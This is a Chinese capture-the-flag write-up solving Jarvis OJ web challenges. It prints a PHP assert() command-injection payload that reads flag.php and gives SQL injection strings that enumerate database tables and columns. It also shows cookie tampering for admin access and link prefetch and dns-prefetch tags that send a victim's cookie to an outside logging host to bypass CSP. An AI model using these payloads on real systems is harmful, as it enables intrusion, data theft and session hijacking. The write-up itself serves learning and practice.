刷题平台+1
平台地址:https://www.jarvisoj.com/
babyphp
扫描一波发现git泄露
githack把源码下下来,得到几个php文件
index,php里除了html片段还有php,flag.php有flag但是不可读
1 | <?php |
因此我们的目的是把服务器中的flag.php读出来。
想办法把命令注入到php当中去,php中能够用 and 和 | 来执行多条命令,假如我们传入$page=','..')===false and system('cat templates/flag.php') and strop('
那么$file = templates/','..')===false and system('cat templates/flag.php') and strops('
assert语句就变成了assert("strops('templates/','..')===false and system('cat templates/flag.php') and strops('') === false")
这样,中间的system就单独借助assert执行了。
admin
dirsearch扫一波发现robots.txt,打开给出admin_s3cr3t.php
访问给了个假flag
cookie里有个admin=0,改成1即可
inject
首页只有一个flag{xxx},dirsearch依旧,发现有备份文件
源码如下:
1 | <?php |
用到了desc显示查询结果,mysql中,对于
1 | desc `1` `2`; |
如果1这个表存在,那么整个语句是能够正常执行的,那么我们构造
1 | flag` `union select 1--+ |
用limit把显示结果调换一下
那么对1这个位置注入
表名:
1 | flag` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1--+ |
列名,嗯。。。单引号好像被过滤了,那么把表名转为16进制再传
1 | flag` `union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1--+ |
flag:
1 | flag` `union select group_concat(flagUwillNeverKnow) from secret_flag limit 1,1--+ |
babyxss
首页说可以发消息给管理员
随便发一条试一下,verify用’0694’开头的字符串过不去,我估么着应该是少写了个md5,爆破一下即可
1 | import hashlib |
通过验证说管理员已经收到并且会查看
开始想到的是xss把管理员的cookie带出来了,用xss平台的payload发现啥信息也收不到,抓包发现是设置了CSP
没了解过,正好学习一下
CSP全称是内容安全策略,可以用于检测并削弱XSS的攻击性,它通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除XSS攻击所依赖的载体。
配置CSP涉及到添加 Content-Security-Policy
HTTP头部到一个页面,并配置相应的值,以控制用户代理(浏览器等)可以为该页面获取哪些资源。
指定策略格式如下:
1 | Content-Security-Policy: policy |
policy参数是一个包含了各种描述你的CSP策略指令的字符串。
常见的策略方案可参考:https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP
这里我们可以看到添加了两个策略:default-src 'self'
; script-src 'self'
,也就是只能加载同源脚本。
参考这位师傅的文章了解到CSP策略可以被绕过,比如对link标签的预加载功能处理不当。
Chrome下,可以使用如下标签发送cookie:
1 | <link rel="prefetch" href="http://xss.pt/xxx"> |
firefox下可以将cookie作为子域名,用dns预解析的方式把cookie带出去:
1 | <link rel="dns-prefetch" href="//[cookie].xxx.ceye.io"> |
不知道为啥不管用firefox还是chrome发过去啥反应没有。。。。。看了其他师傅好像这种情况挺多。。。那就放这吧先,看以后有没有机会搞清楚咋回事。